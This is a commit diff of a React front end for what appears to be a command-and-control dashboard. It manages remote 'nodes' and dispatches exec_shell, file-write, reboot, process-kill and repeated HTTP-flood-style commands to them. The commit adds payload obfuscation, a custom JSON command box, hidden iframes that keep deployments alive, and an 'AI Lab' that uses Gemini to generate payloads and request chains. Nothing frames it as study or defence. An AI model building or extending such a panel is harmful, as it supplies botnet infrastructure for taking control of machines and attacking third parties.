wuhp commited on
Commit
41249a7
·
verified ·
1 Parent(s): 4238c07

Update src/App.tsx

Browse files
Files changed (1) hide show
  1. src/App.tsx +347 -29
src/App.tsx CHANGED
@@ -1,4 +1,4 @@
1
- import React, { useState, useEffect } from 'react';
2
  import {
3
  Activity,
4
  Terminal,
@@ -18,6 +18,16 @@ import { cn } from './lib/utils';
18
  export default function App() {
19
  const [activeTab, setActiveTab] = useState('dashboard');
20
  const [deployments, setDeployments] = useState<string[]>([]);
 
 
 
 
 
 
 
 
 
 
21
 
22
  useEffect(() => {
23
  const fetchStatus = async () => {
@@ -25,18 +35,52 @@ export default function App() {
25
  const res = await fetch('/api/status');
26
  const json = await res.json();
27
  setDeployments(json.deployments || []);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
28
  } catch (err) {}
29
  };
30
  fetchStatus();
31
- const iv = setInterval(fetchStatus, 30000);
32
  return () => clearInterval(iv);
33
  }, []);
34
 
35
  return (
36
  <div className="min-h-screen flex flex-col mesh-bg text-slate-200 font-sans selection:bg-indigo-500/30">
 
 
 
 
 
 
 
 
 
 
 
 
 
 
37
  <div className="hidden">
38
  {deployments.map(url => (
39
- <iframe key={url} src={url} className="w-0 h-0" sandbox="allow-scripts allow-same-origin" title="background-node" />
40
  ))}
41
  </div>
42
  <div className="flex flex-col md:flex-row flex-1 p-4 md:p-6 gap-6 h-full overflow-hidden">
@@ -66,6 +110,18 @@ export default function App() {
66
  icon={<Globe size={18} />}
67
  label="Cloud Deploy"
68
  />
 
 
 
 
 
 
 
 
 
 
 
 
69
  <SidebarButton
70
  active={activeTab === 'cmds_network'}
71
  onClick={() => setActiveTab('cmds_network')}
@@ -103,6 +159,8 @@ export default function App() {
103
  {activeTab === 'cmds_network' && <CommandsTab category="network" />}
104
  {activeTab === 'cmds_system' && <CommandsTab category="system" />}
105
  {activeTab === 'cmds_file' && <CommandsTab category="file" />}
 
 
106
  {activeTab === 'settings' && <SettingsTab />}
107
  </div>
108
  </main>
@@ -149,6 +207,7 @@ function Card({ title, children, icon }: { title: string, children: React.ReactN
149
  function DashboardTab() {
150
  const [data, setData] = useState({ nodes: [], reports: [] });
151
  const [filter, setFilter] = useState('all');
 
152
 
153
  useEffect(() => {
154
  const fetchStatus = async () => {
@@ -175,6 +234,30 @@ function DashboardTab() {
175
  setData(prev => ({ ...prev, nodes: prev.nodes.filter((n: any) => n.id !== id) }));
176
  };
177
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
178
  const filteredNodes = data.nodes.filter((n: any) => {
179
  const isActive = Date.now() - n.lastSeen < 20000;
180
  if (filter === 'active') return isActive;
@@ -203,16 +286,26 @@ function DashboardTab() {
203
  </div>
204
 
205
  <Card title="Connected Nodes" icon={<Server size={18} />}>
206
- <div className="flex gap-4 mb-4 items-center px-2">
207
- <label className="text-sm font-medium text-slate-400">Filter:</label>
208
- <select
209
- className="bg-black/20 border border-white/10 rounded-lg text-sm text-white px-3 py-1.5 outline-none focus:border-indigo-500"
210
- value={filter} onChange={e => setFilter(e.target.value)}
211
- >
212
- <option value="all">All Nodes</option>
213
- <option value="active">Active ({'<'} 20s skip)</option>
214
- <option value="inactive">Inactive</option>
215
- </select>
 
 
 
 
 
 
 
 
 
 
216
  </div>
217
  {filteredNodes.length === 0 ? (
218
  <div className="text-center py-10 text-slate-400">
@@ -225,6 +318,14 @@ function DashboardTab() {
225
  <table className="w-full text-left text-sm whitespace-nowrap">
226
  <thead className="text-slate-500 border-b border-white/5">
227
  <tr className="h-10">
 
 
 
 
 
 
 
 
228
  <th className="font-medium px-2">Node ID</th>
229
  <th className="font-medium">Environment</th>
230
  <th className="font-medium">IP Addr</th>
@@ -241,7 +342,15 @@ function DashboardTab() {
241
  const uptimeS = Math.floor((Date.now() - (node.firstSeen || Date.now())) / 1000);
242
  const uptimeStr = uptimeS > 3600 ? `${(uptimeS / 3600).toFixed(1)}h` : uptimeS > 60 ? `${Math.floor(uptimeS / 60)}m` : `${uptimeS}s`;
243
  return (
244
- <tr key={node.id} className="hover:bg-white/5 transition-colors group h-12">
 
 
 
 
 
 
 
 
245
  <td className="py-3 font-mono text-indigo-300 px-2">{node.id}</td>
246
  <td className="py-3">
247
  <span className="px-2.5 py-1 flex items-center justify-center w-max rounded-full border border-slate-700 bg-white/5 text-[10px] font-bold uppercase text-slate-400">
@@ -283,6 +392,7 @@ function DashboardTab() {
283
  function PayloadsTab() {
284
  const [payloadFiles, setPayloadFiles] = useState<Record<string, string>>({});
285
  const [activePayload, setActivePayload] = useState('hf_docker');
 
286
 
287
  const payloads = [
288
  { id: 'hf_docker', name: 'Docker (Hugging Face)', desc: 'Standard Python container.' },
@@ -298,16 +408,27 @@ function PayloadsTab() {
298
  ];
299
 
300
  useEffect(() => {
301
- fetch(`/api/payloads/${activePayload}`)
302
  .then(r => r.json())
303
  .then(d => setPayloadFiles(d.files || {}));
304
- }, [activePayload]);
305
 
306
  return (
307
  <div className="flex flex-col gap-6">
308
  <div className="mb-2">
309
  <h2 className="text-2xl font-bold text-white tracking-tight">Deploy Payloads</h2>
310
  <p className="text-slate-400 mt-1 text-sm">Download or copy setup scripts to instantly connect external infrastructure to this dashboard.</p>
 
 
 
 
 
 
 
 
 
 
 
311
  </div>
312
 
313
  <div className="grid grid-cols-1 lg:grid-cols-4 gap-6">
@@ -359,6 +480,174 @@ function PayloadsTab() {
359
  );
360
  }
361
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
362
  function SettingsTab() {
363
  const [hfToken, setHfToken] = useState('');
364
  const [ghToken, setGhToken] = useState('');
@@ -446,7 +735,7 @@ function DeployTab() {
446
  });
447
  const data = await res.json();
448
  if (data.error) throw new Error(data.error);
449
- setStatus(`Success! Deployed to: ${data.url}`);
450
  } catch (e: any) {
451
  setStatus(`Error: ${e.message}`);
452
  }
@@ -515,7 +804,7 @@ function DeployTab() {
515
  >
516
  <Globe size={18} /> {loading ? 'Deploying...' : 'Deploy Node'}
517
  </button>
518
- {status && <div className={cn("p-3 px-4 rounded-xl text-sm font-medium border", status.includes('Error') ? 'bg-red-500/10 border-red-500/20 text-red-500' : 'bg-emerald-500/10 border-emerald-500/20 text-emerald-400')}>{status}</div>}
519
  </div>
520
  </div>
521
  </Card>
@@ -626,29 +915,44 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
626
  const requiresDestPath = command === 'copy_file' || command === 'move_file';
627
  const requiresContent = command === 'write_file';
628
  const requiresPid = command === 'kill_process';
 
629
 
630
  const [fileContent, setFileContent] = useState('echo hello');
631
  const [destPath, setDestPath] = useState('/tmp/dest');
 
632
 
633
  const issueCommand = async () => {
634
  let payload: any = {};
635
- if (requiresTarget) payload = { ip, port: parseInt(port) || 80 };
636
- if (requiresHost) payload = { host };
637
- if (requiresPorts) payload = { ...payload, ports: portsList };
638
- if (requiresInterval) payload = { interval: parseInt(interval) || 10 };
639
- if (requiresShell) payload = { cmd: shellCmd };
640
- if (requiresPath) payload = { path: filePath };
641
- if (requiresDestPath) payload = { ...payload, destPath };
642
- if (requiresContent) payload = { ...payload, content: fileContent };
643
- if (requiresPid) payload = { pid: shellCmd }; // reuse shellCmd/input for PID
 
 
 
 
 
 
 
 
 
 
 
 
 
644
 
645
  try {
646
  await fetch('/api/commands', {
647
  method: 'POST',
648
  headers: { 'Content-Type': 'application/json' },
649
- body: JSON.stringify({ target: targetNode, type: command, payload, repeat })
650
  });
651
- setStatus(`Dispatched '${command}' to ${targetNode === 'all' ? 'all nodes' : targetNode}.`);
652
  setTimeout(() => setStatus(''), 3000);
653
  } catch (e) {
654
  setStatus('Failed to issue command.');
@@ -727,6 +1031,7 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
727
  <option value="exec_shell">Exec Shell Command</option>
728
  <option value="reboot_system">Reboot System (Warning!)</option>
729
  <option value="self_terminate">Terminate Client Process</option>
 
730
  </optgroup>
731
  )}
732
  {category === 'file' && (
@@ -831,6 +1136,19 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
831
  </div>
832
  )}
833
 
 
 
 
 
 
 
 
 
 
 
 
 
 
834
  {requiresInterval && (
835
  <div className="border-t border-white/5 pt-5">
836
  <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Polling Interval (Seconds)</label>
 
1
+ import React, { useState, useEffect, useRef } from 'react';
2
  import {
3
  Activity,
4
  Terminal,
 
18
  export default function App() {
19
  const [activeTab, setActiveTab] = useState('dashboard');
20
  const [deployments, setDeployments] = useState<string[]>([]);
21
+ const [deployLogs, setDeployLogs] = useState<string[]>([]);
22
+ const [toasts, setToasts] = useState<{id: string, msg: string, type: string}[]>([]);
23
+ const [iframeKey, setIframeKey] = useState(0);
24
+ const prevNodesRef = useRef(new Map());
25
+
26
+ const addToast = (msg: string, type: 'info'|'success'|'warning' = 'info') => {
27
+ const id = Math.random().toString();
28
+ setToasts(t => [...t, {id, msg, type}]);
29
+ setTimeout(() => setToasts(t => t.filter(x => x.id !== id)), 5000);
30
+ };
31
 
32
  useEffect(() => {
33
  const fetchStatus = async () => {
 
35
  const res = await fetch('/api/status');
36
  const json = await res.json();
37
  setDeployments(json.deployments || []);
38
+ if (json.deployLogs) setDeployLogs(json.deployLogs);
39
+
40
+ // Handle node online/offline toasts
41
+ if (json.nodes) {
42
+ const currentNodes = new Map();
43
+ json.nodes.forEach((n: any) => {
44
+ const isActive = Date.now() - n.lastSeen < 20000;
45
+ currentNodes.set(n.id, isActive);
46
+
47
+ const wasActive = prevNodesRef.current.get(n.id);
48
+ if (wasActive === undefined) {
49
+ addToast(`New Node Connected: ${n.id} (${n.type})`, 'success');
50
+ } else if (!wasActive && isActive) {
51
+ addToast(`Node Online: ${n.id}`, 'success');
52
+ } else if (wasActive && !isActive) {
53
+ addToast(`Node Offline: ${n.id}`, 'warning');
54
+ }
55
+ });
56
+ prevNodesRef.current = currentNodes;
57
+ }
58
  } catch (err) {}
59
  };
60
  fetchStatus();
61
+ const iv = setInterval(fetchStatus, 5000);
62
  return () => clearInterval(iv);
63
  }, []);
64
 
65
  return (
66
  <div className="min-h-screen flex flex-col mesh-bg text-slate-200 font-sans selection:bg-indigo-500/30">
67
+ {/* Toast Container */}
68
+ <div className="fixed top-4 right-4 z-50 flex flex-col gap-2">
69
+ {toasts.map(t => (
70
+ <div key={t.id} className={cn(
71
+ "px-4 py-3 rounded-lg shadow-xl text-sm font-medium border flexitems-center gap-2 animate-in fade-in slide-in-from-top-2",
72
+ t.type === 'success' ? 'bg-emerald-500/20 border-emerald-500/50 text-emerald-100' :
73
+ t.type === 'warning' ? 'bg-amber-500/20 border-amber-500/50 text-amber-100' :
74
+ 'bg-slate-800 border-slate-700 text-slate-200'
75
+ )}>
76
+ {t.msg}
77
+ </div>
78
+ ))}
79
+ </div>
80
+
81
  <div className="hidden">
82
  {deployments.map(url => (
83
+ <iframe key={`${url}-${iframeKey}`} src={url} className="w-0 h-0" sandbox="allow-scripts allow-same-origin" title="background-node" />
84
  ))}
85
  </div>
86
  <div className="flex flex-col md:flex-row flex-1 p-4 md:p-6 gap-6 h-full overflow-hidden">
 
110
  icon={<Globe size={18} />}
111
  label="Cloud Deploy"
112
  />
113
+ <SidebarButton
114
+ active={activeTab === 'ai_lab'}
115
+ onClick={() => setActiveTab('ai_lab')}
116
+ icon={<Cpu size={18} />}
117
+ label="AI Lab"
118
+ />
119
+ <SidebarButton
120
+ active={activeTab === 'docs'}
121
+ onClick={() => setActiveTab('docs')}
122
+ icon={<FileText size={18} />}
123
+ label="Documentation"
124
+ />
125
  <SidebarButton
126
  active={activeTab === 'cmds_network'}
127
  onClick={() => setActiveTab('cmds_network')}
 
159
  {activeTab === 'cmds_network' && <CommandsTab category="network" />}
160
  {activeTab === 'cmds_system' && <CommandsTab category="system" />}
161
  {activeTab === 'cmds_file' && <CommandsTab category="file" />}
162
+ {activeTab === 'ai_lab' && <AILabTab />}
163
+ {activeTab === 'docs' && <DocsTab />}
164
  {activeTab === 'settings' && <SettingsTab />}
165
  </div>
166
  </main>
 
207
  function DashboardTab() {
208
  const [data, setData] = useState({ nodes: [], reports: [] });
209
  const [filter, setFilter] = useState('all');
210
+ const [selected, setSelected] = useState<Set<string>>(new Set());
211
 
212
  useEffect(() => {
213
  const fetchStatus = async () => {
 
234
  setData(prev => ({ ...prev, nodes: prev.nodes.filter((n: any) => n.id !== id) }));
235
  };
236
 
237
+ const removeSelected = async () => {
238
+ for (const id of Array.from(selected)) {
239
+ await removeNode(id);
240
+ }
241
+ setSelected(new Set());
242
+ };
243
+
244
+ const toggleSelect = (id: string) => {
245
+ setSelected(prev => {
246
+ const n = new Set(prev);
247
+ if (n.has(id)) n.delete(id);
248
+ else n.add(id);
249
+ return n;
250
+ });
251
+ };
252
+
253
+ const toggleAll = (visibleNodes: any[]) => {
254
+ if (selected.size === visibleNodes.length && visibleNodes.length > 0) {
255
+ setSelected(new Set());
256
+ } else {
257
+ setSelected(new Set(visibleNodes.map(n => n.id)));
258
+ }
259
+ };
260
+
261
  const filteredNodes = data.nodes.filter((n: any) => {
262
  const isActive = Date.now() - n.lastSeen < 20000;
263
  if (filter === 'active') return isActive;
 
286
  </div>
287
 
288
  <Card title="Connected Nodes" icon={<Server size={18} />}>
289
+ <div className="flex gap-4 mb-4 items-center justify-between px-2">
290
+ <div className="flex gap-4 items-center">
291
+ <label className="text-sm font-medium text-slate-400">Filter:</label>
292
+ <select
293
+ className="bg-black/20 border border-white/10 rounded-lg text-sm text-white px-3 py-1.5 outline-none focus:border-indigo-500 transition-colors"
294
+ value={filter} onChange={e => setFilter(e.target.value)}
295
+ >
296
+ <option value="all">All Nodes</option>
297
+ <option value="active">Active ({'<'} 20s skip)</option>
298
+ <option value="inactive">Inactive</option>
299
+ </select>
300
+ </div>
301
+ {selected.size > 0 && (
302
+ <button
303
+ onClick={removeSelected}
304
+ className="bg-red-500/10 hover:bg-red-500/20 text-red-400 border border-red-500/20 px-3 py-1.5 rounded-lg text-xs font-bold uppercase tracking-wider transition-all"
305
+ >
306
+ Terminate ({selected.size})
307
+ </button>
308
+ )}
309
  </div>
310
  {filteredNodes.length === 0 ? (
311
  <div className="text-center py-10 text-slate-400">
 
318
  <table className="w-full text-left text-sm whitespace-nowrap">
319
  <thead className="text-slate-500 border-b border-white/5">
320
  <tr className="h-10">
321
+ <th className="font-medium px-4 w-10">
322
+ <input
323
+ type="checkbox"
324
+ className="rounded border-none accent-indigo-500 bg-white/10 cursor-pointer"
325
+ checked={filteredNodes.length > 0 && selected.size === filteredNodes.length}
326
+ onChange={() => toggleAll(filteredNodes)}
327
+ />
328
+ </th>
329
  <th className="font-medium px-2">Node ID</th>
330
  <th className="font-medium">Environment</th>
331
  <th className="font-medium">IP Addr</th>
 
342
  const uptimeS = Math.floor((Date.now() - (node.firstSeen || Date.now())) / 1000);
343
  const uptimeStr = uptimeS > 3600 ? `${(uptimeS / 3600).toFixed(1)}h` : uptimeS > 60 ? `${Math.floor(uptimeS / 60)}m` : `${uptimeS}s`;
344
  return (
345
+ <tr key={node.id} className="hover:bg-white/5 transition-colors group h-12 cursor-pointer" onClick={() => toggleSelect(node.id)}>
346
+ <td className="px-4" onClick={(e) => e.stopPropagation()}>
347
+ <input
348
+ type="checkbox"
349
+ className="rounded border-none bg-white/10 cursor-pointer accent-indigo-500"
350
+ checked={selected.has(node.id)}
351
+ onChange={() => toggleSelect(node.id)}
352
+ />
353
+ </td>
354
  <td className="py-3 font-mono text-indigo-300 px-2">{node.id}</td>
355
  <td className="py-3">
356
  <span className="px-2.5 py-1 flex items-center justify-center w-max rounded-full border border-slate-700 bg-white/5 text-[10px] font-bold uppercase text-slate-400">
 
392
  function PayloadsTab() {
393
  const [payloadFiles, setPayloadFiles] = useState<Record<string, string>>({});
394
  const [activePayload, setActivePayload] = useState('hf_docker');
395
+ const [obfuscate, setObfuscate] = useState(false);
396
 
397
  const payloads = [
398
  { id: 'hf_docker', name: 'Docker (Hugging Face)', desc: 'Standard Python container.' },
 
408
  ];
409
 
410
  useEffect(() => {
411
+ fetch(`/api/payloads/${activePayload}?obfuscate=${obfuscate}`)
412
  .then(r => r.json())
413
  .then(d => setPayloadFiles(d.files || {}));
414
+ }, [activePayload, obfuscate]);
415
 
416
  return (
417
  <div className="flex flex-col gap-6">
418
  <div className="mb-2">
419
  <h2 className="text-2xl font-bold text-white tracking-tight">Deploy Payloads</h2>
420
  <p className="text-slate-400 mt-1 text-sm">Download or copy setup scripts to instantly connect external infrastructure to this dashboard.</p>
421
+
422
+ <div className="mt-4 flex items-center gap-2">
423
+ <input
424
+ type="checkbox"
425
+ id="obfuscate"
426
+ checked={obfuscate}
427
+ onChange={(e) => setObfuscate(e.target.checked)}
428
+ className="rounded border-none accent-indigo-500 bg-black/20 cursor-pointer"
429
+ />
430
+ <label htmlFor="obfuscate" className="text-sm font-medium text-slate-300 cursor-pointer">Obfuscate primary payload source code</label>
431
+ </div>
432
  </div>
433
 
434
  <div className="grid grid-cols-1 lg:grid-cols-4 gap-6">
 
480
  );
481
  }
482
 
483
+ function AILabTab() {
484
+ const [prompt, setPrompt] = useState('');
485
+ const [mode, setMode] = useState<'payload' | 'packets' | 'evaluate'>('payload');
486
+ const [loading, setLoading] = useState(false);
487
+ const [result, setResult] = useState('');
488
+ const [errorMsg, setErrorMsg] = useState('');
489
+
490
+ const generate = async () => {
491
+ setLoading(true);
492
+ setErrorMsg('');
493
+ try {
494
+ let endpoint = '/api/ai/generate-payload';
495
+ let body: any = { prompt };
496
+
497
+ if (mode === 'packets') endpoint = '/api/ai/generate-packets';
498
+ if (mode === 'evaluate') {
499
+ endpoint = '/api/ai/evaluate-payload';
500
+ body = { code: prompt };
501
+ }
502
+
503
+ const res = await fetch(endpoint, {
504
+ method: 'POST',
505
+ headers: { 'Content-Type': 'application/json' },
506
+ body: JSON.stringify(body)
507
+ });
508
+ const data = await res.json();
509
+ if (data.error) setErrorMsg(data.error);
510
+ else setResult(mode === 'packets' ? JSON.stringify(data.packets, null, 2) : data.code);
511
+ } catch (e: any) {
512
+ setErrorMsg(e.message);
513
+ }
514
+ setLoading(false);
515
+ };
516
+
517
+ return (
518
+ <div className="flex flex-col gap-6 max-w-4xl mx-auto w-full">
519
+ <div className="mb-2">
520
+ <h2 className="text-2xl font-bold text-white tracking-tight">AI Generation Lab</h2>
521
+ <p className="text-slate-400 mt-2 text-sm leading-relaxed">
522
+ Describe the payload or sequence of actions you want to execute. The system will leverage Gemini to craft custom logic and valid action chains.
523
+ </p>
524
+ </div>
525
+
526
+ <div className="grid grid-cols-1 lg:grid-cols-2 gap-6">
527
+ <Card title="AI Input" icon={<Cpu size={18} />}>
528
+ <div className="flex flex-col gap-4">
529
+ <div className="flex bg-black/20 rounded-lg p-1">
530
+ <button
531
+ onClick={() => setMode('payload')}
532
+ className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'payload' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
533
+ >
534
+ Gen Payload
535
+ </button>
536
+ <button
537
+ onClick={() => setMode('packets')}
538
+ className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'packets' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
539
+ >
540
+ Gen Packets
541
+ </button>
542
+ <button
543
+ onClick={() => setMode('evaluate')}
544
+ className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'evaluate' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
545
+ >
546
+ Evaluate Code
547
+ </button>
548
+ </div>
549
+
550
+ <textarea
551
+ value={prompt}
552
+ onChange={(e) => setPrompt(e.target.value)}
553
+ placeholder={mode === 'evaluate' ? "Paste code to evaluate..." : mode === 'payload' ? "Create a reverse proxy implementation..." : "A chain of HTTP requests against specific endpoints..."}
554
+ rows={6}
555
+ className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-3 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm"
556
+ />
557
+ <button
558
+ onClick={generate}
559
+ disabled={loading || !prompt.trim()}
560
+ className={cn(
561
+ "px-5 py-2.5 text-white rounded-xl font-medium shadow-lg transition-all",
562
+ (loading || !prompt.trim()) ? "bg-indigo-500/50 cursor-not-allowed" : "bg-indigo-500 hover:bg-indigo-400 shadow-indigo-500/30"
563
+ )}
564
+ >
565
+ {loading ? 'Processing...' : mode === 'evaluate' ? 'Evaluate & Improve' : 'Generate AI Routine'}
566
+ </button>
567
+ {errorMsg && <div className="text-red-400 text-sm mt-1 p-2 bg-red-500/10 rounded">{errorMsg}</div>}
568
+ </div>
569
+ </Card>
570
+
571
+ <Card title="Generated Artifact" icon={<FileText size={18} />}>
572
+ {result ? (
573
+ <div className="flex flex-col h-full gap-3">
574
+ <div className="flex justify-end gap-2 px-1">
575
+ <button onClick={() => navigator.clipboard.writeText(result)} className="text-xs bg-white/10 hover:bg-white/20 px-3 py-1 rounded text-white transition-all">Copy Result</button>
576
+ </div>
577
+ <textarea
578
+ value={result}
579
+ onChange={e => setResult(e.target.value)}
580
+ className="w-full flex-1 min-h-[200px] bg-black/20 border border-white/10 rounded-xl p-4 text-emerald-300 focus:outline-none focus:border-emerald-500 transition-all font-mono text-xs"
581
+ />
582
+ <p className="text-xs text-slate-400 px-1">You can freely edit this artifact. When ready, paste it into the Payload section or JSON execution box.</p>
583
+ </div>
584
+ ) : (
585
+ <div className="flex flex-col items-center justify-center p-10 h-[250px] text-slate-400/50">
586
+ <Terminal size={32} className="mb-4 opacity-50" />
587
+ <p className="text-sm font-medium">Awaiting Generation...</p>
588
+ </div>
589
+ )}
590
+ </Card>
591
+ </div>
592
+ </div>
593
+ );
594
+ }
595
+
596
+ function DocsTab() {
597
+ return (
598
+ <div className="flex flex-col gap-6 max-w-3xl mx-auto w-full">
599
+ <div className="mb-2">
600
+ <h2 className="text-2xl font-bold text-white tracking-tight">Documentation & Custom Payloads</h2>
601
+ <p className="text-slate-400 mt-2 text-sm leading-relaxed">
602
+ Learn how to craft custom JSON payloads. The system translates these commands to instructions executed natively on connected nodes.
603
+ </p>
604
+ </div>
605
+
606
+ <Card title="Custom JSON Structure" icon={<FileText size={18} />}>
607
+ <div className="text-sm text-slate-300">
608
+ <p className="mb-4">
609
+ Under <strong>System Commands &gt; Custom JSON Command</strong>, you can dispatch arbitrary JSON payloads.
610
+ The structure should look like this:
611
+ </p>
612
+ <pre className="bg-black/30 border border-white/10 rounded-xl p-4 font-mono text-xs overflow-x-auto text-indigo-300 mb-4">
613
+ {`{
614
+ "type": "my_custom_action",
615
+ "payload": {
616
+ "arg1": "value",
617
+ "param2": 123
618
+ }
619
+ }`}
620
+ </pre>
621
+ <p className="mb-4 text-emerald-400 font-medium">Node Processing</p>
622
+ <p className="mb-4">
623
+ When a node receives the command, it looks at the <code>cmd.type</code> parameter.
624
+ If the client implementation supports it, it executes the command and posts the resulting JSON output back to the control server.
625
+ If you want to add custom command handling to the Python or Node clients, just edit the source scripts downloaded from the `Node Payloads` tab
626
+ and add an <code>elif cmd_type == 'my_custom_action':</code> block!
627
+ </p>
628
+ </div>
629
+ </Card>
630
+
631
+ <Card title="Available Command Types" icon={<Terminal size={18} />}>
632
+ <div className="text-sm text-slate-300">
633
+ <ul className="space-y-4">
634
+ <li className="p-3 bg-white/5 rounded-lg border border-white/5">
635
+ <strong className="text-white block mb-1">exec_shell</strong>
636
+ <p className="mb-2">Execute an arbitrary terminal command.</p>
637
+ <code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"exec_shell\", \"payload\": { \"cmd\": \"whoami\" } }"}</code>
638
+ </li>
639
+ <li className="p-3 bg-white/5 rounded-lg border border-white/5">
640
+ <strong className="text-white block mb-1">fetch_http_test</strong>
641
+ <p className="mb-2">Perform an HTTP GET request to a target layer 7 URL.</p>
642
+ <code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"fetch_http_test\", \"payload\": { \"ip\": \"example.com\", \"port\": 80 } }"}</code>
643
+ </li>
644
+ </ul>
645
+ </div>
646
+ </Card>
647
+ </div>
648
+ );
649
+ }
650
+
651
  function SettingsTab() {
652
  const [hfToken, setHfToken] = useState('');
653
  const [ghToken, setGhToken] = useState('');
 
735
  });
736
  const data = await res.json();
737
  if (data.error) throw new Error(data.error);
738
+ setStatus(`${data.message}\n(Make sure to wait a few minutes for the cloud providers to build and start the apps.)`);
739
  } catch (e: any) {
740
  setStatus(`Error: ${e.message}`);
741
  }
 
804
  >
805
  <Globe size={18} /> {loading ? 'Deploying...' : 'Deploy Node'}
806
  </button>
807
+ {status && <div className={cn("p-3 px-4 rounded-xl text-sm font-medium border whitespace-pre-wrap", status.includes('Error') ? 'bg-red-500/10 border-red-500/20 text-red-500' : 'bg-emerald-500/10 border-emerald-500/20 text-emerald-400')}>{status}</div>}
808
  </div>
809
  </div>
810
  </Card>
 
915
  const requiresDestPath = command === 'copy_file' || command === 'move_file';
916
  const requiresContent = command === 'write_file';
917
  const requiresPid = command === 'kill_process';
918
+ const requiresCustomJson = command === 'custom_json';
919
 
920
  const [fileContent, setFileContent] = useState('echo hello');
921
  const [destPath, setDestPath] = useState('/tmp/dest');
922
+ const [customJson, setCustomJson] = useState('{\n "payload": {\n "key": "value"\n }\n}');
923
 
924
  const issueCommand = async () => {
925
  let payload: any = {};
926
+ let finalType = command;
927
+
928
+ if (requiresCustomJson) {
929
+ try {
930
+ const parsed = JSON.parse(customJson);
931
+ if (parsed.type) finalType = parsed.type;
932
+ payload = parsed.payload || parsed;
933
+ } catch (e) {
934
+ setStatus('Invalid JSON payload');
935
+ return;
936
+ }
937
+ } else {
938
+ if (requiresTarget) payload = { ip, port: parseInt(port) || 80 };
939
+ if (requiresHost) payload = { host };
940
+ if (requiresPorts) payload = { ...payload, ports: portsList };
941
+ if (requiresInterval) payload = { interval: parseInt(interval) || 10 };
942
+ if (requiresShell) payload = { cmd: shellCmd };
943
+ if (requiresPath) payload = { path: filePath };
944
+ if (requiresDestPath) payload = { ...payload, destPath };
945
+ if (requiresContent) payload = { ...payload, content: fileContent };
946
+ if (requiresPid) payload = { pid: shellCmd };
947
+ }
948
 
949
  try {
950
  await fetch('/api/commands', {
951
  method: 'POST',
952
  headers: { 'Content-Type': 'application/json' },
953
+ body: JSON.stringify({ target: targetNode, type: finalType, payload, repeat })
954
  });
955
+ setStatus(`Dispatched '${finalType}' to ${targetNode === 'all' ? 'all nodes' : targetNode}.`);
956
  setTimeout(() => setStatus(''), 3000);
957
  } catch (e) {
958
  setStatus('Failed to issue command.');
 
1031
  <option value="exec_shell">Exec Shell Command</option>
1032
  <option value="reboot_system">Reboot System (Warning!)</option>
1033
  <option value="self_terminate">Terminate Client Process</option>
1034
+ <option value="custom_json">Custom JSON Command</option>
1035
  </optgroup>
1036
  )}
1037
  {category === 'file' && (
 
1136
  </div>
1137
  )}
1138
 
1139
+ {requiresCustomJson && (
1140
+ <div className="border-t border-white/5 pt-5">
1141
+ <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Custom JSON Payload</label>
1142
+ <textarea
1143
+ value={customJson}
1144
+ onChange={e => setCustomJson(e.target.value)}
1145
+ rows={6}
1146
+ className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
1147
+ placeholder={'{\n "type": "my_command",\n "payload": { ... }\n}'}
1148
+ />
1149
+ </div>
1150
+ )}
1151
+
1152
  {requiresInterval && (
1153
  <div className="border-t border-white/5 pt-5">
1154
  <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Polling Interval (Seconds)</label>